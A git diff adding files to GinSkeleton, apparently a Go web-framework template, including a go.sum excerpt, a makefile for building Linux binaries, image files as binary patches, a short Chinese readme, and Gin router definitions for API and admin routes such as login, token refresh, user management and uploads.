h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI= +gorm.io/driver/sqlserver v1.5.3 h1:rjupPS4PVw+rjJkfvr8jn2lJ8BMhT4UW5FwuJY0P3Z0= +gorm.io/driver/sqlserver v1.5.3/go.mod h1:B+CZ0/7oFJ6tAlefsKoyxdgDCXJKSgwS2bMOQZT0I00= +gorm.io/gorm v1.25.7-0.20240204074919-46816ad31dde/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= +gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= +gorm.io/gorm v1.25.11 h1:/Wfyg1B/je1hnDx3sMkX+gAlxrlZpn6X0BXRlwXlvHg= +gorm.io/gorm v1.25.11/go.mod h1:xh7N7RHfYlNc5EmcI/El95gXusucDrQnHXe0+CgWcLQ= +gorm.io/plugin/dbresolver v1.5.2 h1:Iut7lW4TXNoVs++I+ra3zxjSxTRj4ocIeFEVp4lLhII= +gorm.io/plugin/dbresolver v1.5.2/go.mod h1:jPh59GOQbO7v7v28ZKZPd45tr+u3vyT+8tHdfdfOWcU= +modernc.org/libc v1.22.2 h1:4U7v51GyhlWqQmwCHj28Rdq2Yzwk55ovjFrdPjs8Hb0= +modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= +modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/sqlite v1.20.3 h1:SqGJMMxjj1PHusLxdYxeQSodg7Jxn9WWkaAQjKrntZs= +modernc.org/sqlite v1.20.3/go.mod h1:zKcGyrICaxNTMEHSr1HQ2GUraP0j+845GYw37+EyT6A= +nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/GinSkeleton/makefile b/GinSkeleton/makefile new file mode 100644 index 0000000..9f4dd34 --- /dev/null +++ b/GinSkeleton/makefile @@ -0,0 +1,49 @@ +#说明:makefile 文件只能在linux系统运行,windows 系统无法执行本文件定义的相关命令 +# 使用文档参考:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/zso6xo + +# 定义 makefile 的命名列表, 只需要将外部调用的公布在这里即可 +.PHONY: build-api build-web build-cli help + +# 设置 cmd/api/main.go 入口文件编译后的可执行文件名 +apiBinName="ginskeleton-api.linux64" + +# 设置 cmd/web/main.go 入口文件编译后的可执行文件名 +webBinName="ginskeleton-web.linux64" + +# 设置 cmd/cli/main.go 入口文件编译后的可执行文件名 +cliBinName="ginskeleton-cli.linux64" + +# 统一设置编译的目标平台公共参数 +all: + go env -w GOARCH=amd64 + go env -w GOOS=linux + go env -w CGO_ENABLED=0 + go env -w GO111MODULE=on + go env -w GOPROXY=https://goproxy.cn,direct + go mod tidy + +build-api:all clean-api build-api-bin +build-api-bin: + go build -o ${apiBinName} -ldflags "-w -s" -trimpath ./cmd/api/main.go + +build-web:all clean-web build-web-bin +build-web-bin: + go build -o ${webBinName} -ldflags "-w -s" -trimpath ./cmd/web/main.go + +build-cli:all clean-cli build-cli-bin +build-cli-bin: + go build -o ${cliBinName} -ldflags "-w -s" -trimpath ./cmd/cli/main.go + +# 编译前清理可能已经存在的旧文件 +clean-api: + @if [ -f ${apiBinName} ] ; then rm -rf ${apiBinName} ; fi +clean-web: + @if [ -f ${webBinName} ] ; then rm -rf ${webBinName} ; fi +clean-cli: + @if [ -f ${cliBinName} ] ; then rm -rf ${cliBinName} ; fi + +help: + @echo "make hep 查看编译命令列表" + @echo "make build-api 编译 cmd/api/main.go 入口文件 " + @echo "make build-web 编译 cmd/web/main.go 入口文件 " + @echo "make build-cli 编译 cmd/cli/main.go 入口文件 " \ No newline at end of file diff --git a/GinSkeleton/public/favicon.ico b/GinSkeleton/public/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..fd9b93947c63e80341659a833e741566ed976915 GIT binary patch literal 4286 zcmchYZHQE56vyvYHfrXKZQ51~v*fmF6f7*2M77acn?$7ep%MhQH&W32&>NAOO(7&y zUo48g6crIseMou{az-mKGNms@WLzP&7tu)yr<(Tm``^x49= zqNszvo}Nhmqc=-YG%JdtxqvCU4rEV1e9x6SQvNmM{~s6_h>Qxd34a*BBCmmA_|0tY zTTWYfov;i30{N6*g=vsqFk@Amu?d+3sOFV$GpPU2=k-h2RX_CYq&*!nmGYa4GoD9= z{T!x!3ET>rm-|N1mxA)9LJiy}xd+aH{DK*);@~uR1Hyjx(e8rVK{ef{wO9noJ00Ez z_ep*W=R>Aaep7KU8MZ>$&kouJ7|Ga=(_R3|6VE`HcaZkQ^0o6R4$g(IA?)Wx^R3R< zbuKSApK|ZX_>a+^FMm6q;z0ZSBY1tS_gx_0y1*{~A(#X5iK{?k@?7oD5@@Hq_i+pH zx48*{DVl{8}DZo`rqJV zxZizwgD~G&$Pa>?Dtae)pVy-69riwTM|4-@e*!KuUF{3tEAUwDsrK)r^0FBVkbZZL zpf3!3iWvc48}<7soDI|96Y#b0{_e*1Cn)w8&^KQFGx5C+iq*PR!1vSp+hl&9lioV{ z=D|;}!P*`_o%Xxn@lU$n2jOkxF!hSv0I9VI$E|*Je~*E39|5l`sdwRF z(3*b%V`s<*iA`}j3&+9hzkse>`80pu=aps)$8ZL=M=j<%ufv#G298OL2H+LFN6B?i8%tQuQy5eDyrk<4B*o)_Iof{#lG-7lPi}I%r?he25XDmhf*?u2gZ%S^y#p|rR1o~~*02)(nd@G}JKz)4# zn)@NR8cv#f*pK;VAUDHdSZ=m3tflVp$lE}7UUPX6()->r87FZJ-Y+iUI${8 zuYFgppJ%PbM5V|4iZyzXn#T!eb}TTXSdQko7F1j3s2kG$GT{?8J^t z&0j{b8~(`wI0ng+jb$xDdxfm0CQsqY@9*HpaEMSlwSQ*W$)t mt=>#3_4P@mF_;vZ<)koL94#hAwB60YBx$Tql6sOP`{5tMHvuvL literal 0 HcmV?d00001 diff --git a/GinSkeleton/public/readme.md b/GinSkeleton/public/readme.md new file mode 100644 index 0000000..abd3cf5 --- /dev/null +++ b/GinSkeleton/public/readme.md @@ -0,0 +1,2 @@ +#### 特别说明 +> 1.虽然`gin`框架支持静态文件处理, 但是我们建议您将静态资源交给 `nginx` 去处理,以获得极速性能. \ No newline at end of file diff --git a/GinSkeleton/routers/api.go b/GinSkeleton/routers/api.go new file mode 100644 index 0000000..3fb1071 --- /dev/null +++ b/GinSkeleton/routers/api.go @@ -0,0 +1,74 @@ +package routers + +import ( + "github.com/gin-contrib/pprof" + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/cors" + validatorFactory "goskeleton/app/http/validator/core/factory" + "goskeleton/app/utils/gin_release" + "net/http" +) + +// 该路由主要设置门户类网站等前台路由 + +func InitApiRouter() *gin.Engine { + var router *gin.Engine + // 非调试模式(生产模式) 日志写到日志文件 + if variable.ConfigYml.GetBool("AppDebug") == false { + //1.gin自行记录接口访问日志,不需要nginx,如果开启以下3行,那么请屏蔽第 34 行代码 + //gin.DisableConsoleColor() + //f, _ := os.Create(variable.BasePath + variable.ConfigYml.GetString("Logs.GinLogName")) + //gin.DefaultWriter = io.MultiWriter(f) + + //【生产模式】 + // 根据 gin 官方的说明:[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. + // 如果部署到生产环境,请使用以下模式: + // 1.生产模式(release) 和开发模式的变化主要是禁用 gin 记录接口访问日志, + // 2.go服务就必须使用nginx作为前置代理服务,这样也方便实现负载均衡 + // 3.如果程序发生 panic 等异常使用自定义的 panic 恢复中间件拦截、记录到日志 + router = gin_release.ReleaseRouter() + } else { + // 调试模式,开启 pprof 包,便于开发阶段分析程序性能 + router = gin.Default() + pprof.Register(router) + } + // 设置可信任的代理服务器列表,gin (2021-11-24发布的v1.7.7版本之后出的新功能) + if variable.ConfigYml.GetInt("HttpServer.TrustProxies.IsOpen") == 1 { + if err := router.SetTrustedProxies(variable.ConfigYml.GetStringSlice("HttpServer.TrustProxies.ProxyServerList")); err != nil { + variable.ZapLog.Error(consts.GinSetTrustProxyError, zap.Error(err)) + } + } else { + _ = router.SetTrustedProxies(nil) + } + + //根据配置进行设置跨域 + if variable.ConfigYml.GetBool("HttpServer.AllowCrossDomain") { + router.Use(cors.Next()) + } + + router.GET("/", func(context *gin.Context) { + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) + + //处理静态资源(不建议gin框架处理静态资源,参见 Public/readme.md 说明 ) + router.Static("/public", "./public") // 定义静态资源路由与实际目录映射关系 + //router.StaticFile("/abcd", "./public/readme.md") // 可以根据文件名绑定需要返回的文件名 + + // 创建一个门户类接口路由组 + vApi := router.Group("/api/v1/") + { + // 模拟一个首页路由 + home := vApi.Group("home/") + { + // 第二个参数说明: + // 1.它是一个表单参数验证器函数代码段,该函数从容器中解析,整个代码段略显复杂,但是对于使用者,您只需要了解用法即可,使用很简单,看下面 ↓↓↓ + // 2.编写该接口的验证器,位置:app/http/validator/api/home/news.go + // 3.将以上验证器注册在容器:app/http/validator/common/register_validator/api_register_validator.go 18 行为注册时的键(consts.ValidatorPrefix + "HomeNews")。那么获取的时候就用该键即可从容器获取 + home.GET("news", validatorFactory.Create(consts.ValidatorPrefix+"HomeNews")) + } + } + return router +} diff --git a/GinSkeleton/routers/web.go b/GinSkeleton/routers/web.go new file mode 100644 index 0000000..22efb67 --- /dev/null +++ b/GinSkeleton/routers/web.go @@ -0,0 +1,126 @@ +package routers + +import ( + "github.com/gin-contrib/pprof" + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/controller/captcha" + "goskeleton/app/http/middleware/authorization" + "goskeleton/app/http/middleware/cors" + validatorFactory "goskeleton/app/http/validator/core/factory" + "goskeleton/app/utils/gin_release" + "net/http" +) + +// 该路由主要设置 后台管理系统等后端应用路由 + +func InitWebRouter() *gin.Engine { + var router *gin.Engine + // 非调试模式(生产模式) 日志写到日志文件 + if variable.ConfigYml.GetBool("AppDebug") == false { + + //1.gin自行记录接口访问日志,不需要nginx,如果开启以下3行,那么请屏蔽第 34 行代码 + //gin.DisableConsoleColor() + //f, _ := os.Create(variable.BasePath + variable.ConfigYml.GetString("Logs.GinLogName")) + //gin.DefaultWriter = io.MultiWriter(f) + + //【生产模式】 + // 根据 gin 官方的说明:[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. + // 如果部署到生产环境,请使用以下模式: + // 1.生产模式(release) 和开发模式的变化主要是禁用 gin 记录接口访问日志, + // 2.go服务就必须使用nginx作为前置代理服务,这样也方便实现负载均衡 + // 3.如果程序发生 panic 等异常使用自定义的 panic 恢复中间件拦截、记录到日志 + router = gin_release.ReleaseRouter() + + } else { + // 调试模式,开启 pprof 包,便于开发阶段分析程序性能 + router = gin.Default() + pprof.Register(router) + } + + // 设置可信任的代理服务器列表,gin (2021-11-24发布的v1.7.7版本之后出的新功能) + if variable.ConfigYml.GetInt("HttpServer.TrustProxies.IsOpen") == 1 { + if err := router.SetTrustedProxies(variable.ConfigYml.GetStringSlice("HttpServer.TrustProxies.ProxyServerList")); err != nil { + variable.ZapLog.Error(consts.GinSetTrustProxyError, zap.Error(err)) + } + } else { + _ = router.SetTrustedProxies(nil) + } + + //根据配置进行设置跨域 + if variable.ConfigYml.GetBool("HttpServer.AllowCrossDomain") { + router.Use(cors.Next()) + } + + router.GET("/", func(context *gin.Context) { + context.String(http.StatusOK, "HelloWorld,这是后端模块") + }) + + //处理静态资源(不建议gin框架处理静态资源,参见 public/readme.md 说明 ) + router.Static("/public", "./public") // 定义静态资源路由与实际目录映射关系 + router.StaticFS("/dir", http.Dir("./public")) // 将public目录内的文件列举展示 + router.StaticFile("/abcd", "./public/readme.md") // 可以根据文件名绑定需要返回的文件名 + + // 创建一个验证码路由 + verifyCode := router.Group("captcha") + { + // 验证码业务,该业务无需专门校验参数,所以可以直接调用控制器 + verifyCode.GET("/", (&captcha.Captcha{}).GenerateId) // 获取验证码ID + verifyCode.GET("/:captcha_id", (&captcha.Captcha{}).GetImg) // 获取图像地址 + verifyCode.GET("/:captcha_id/:captcha_value", (&captcha.Captcha{}).CheckCode) // 校验验证码 + } + // 创建一个后端接口路由组 + backend := router.Group("/admin/") + { + // 创建一个websocket,如果ws需要账号密码登录才能使用,就写在需要鉴权的分组,这里暂定是开放式的,不需要严格鉴权,我们简单验证一下token值 + backend.GET("ws", validatorFactory.Create(consts.ValidatorPrefix+"WebsocketConnect")) + + // 【不需要token】中间件验证的路由 用户注册、登录 + noAuth := backend.Group("users/") + { + // 关于路由的第二个参数用法说明 + // 1.编写一个表单参数验证器结构体,参见代码: app/http/validator/web/users/register.go + // 2.将以上表单参数验证器注册,遵守 键 =》值 格式注册即可 ,app/http/validator/common/register_validator/web_register_validator.go 20行就是注册时候的键 consts.ValidatorPrefix+"UsersRegister" + // 3.按照注册时的键,直接从容器调用即可 :validatorFactory.Create(consts.ValidatorPrefix+"UsersRegister") + noAuth.POST("register", validatorFactory.Create(consts.ValidatorPrefix+"UsersRegister")) + // 不需要验证码即可登陆 + noAuth.POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + + // 如果加载了验证码中间件,那么就需要提交验证码才可以登陆(本质上就是给登陆接口增加了2个参数:验证码id提交时的键:captcha_id 和 验证码值提交时的键 captcha_value,具体参见配置文件) + //noAuth.Use(authorization.CheckCaptchaAuth()).POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + + } + + // 刷新token + refreshToken := backend.Group("users/") + { + // 刷新token,当过期的token在允许失效的延长时间范围内,用旧token换取新token + refreshToken.Use(authorization.RefreshTokenConditionCheck()).POST("refreshtoken", validatorFactory.Create(consts.ValidatorPrefix+"RefreshToken")) + } + + // 【需要token】中间件验证的路由 + backend.Use(authorization.CheckTokenAuth()) + { + // 用户组路由 + users := backend.Group("users/") + { + // 查询 ,这里的验证器直接从容器获取,是因为程序启动时,将验证器注册在了容器,具体代码位置:App\Http\Validator\Web\Users\xxx + users.GET("index", validatorFactory.Create(consts.ValidatorPrefix+"UsersShow")) + // 新增 + users.POST("create", validatorFactory.Create(consts.ValidatorPrefix+"UsersStore")) + // 更新 + users.POST("edit", validatorFactory.Create(consts.ValidatorPrefix+"UsersUpdate")) + // 删除 + users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy")) + } + //文件上传公共路由 + uploadFiles := backend.Group("upload/") + { + uploadFiles.POST("files", validatorFactory.Create(consts.ValidatorPrefix+"UploadFiles")) + } + } + } + return router +} diff --git a/GinSkeleton/storage/app/img/huawei-cloud-server-small.png b/GinSkeleton/storage/app/img/huawei-cloud-server-small.png new file mode 100644 index 0000000000000000000000000000000000000000..c84794669685e3a2793232c50e376c202b39d0f2 GIT binary patch literal 149512 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 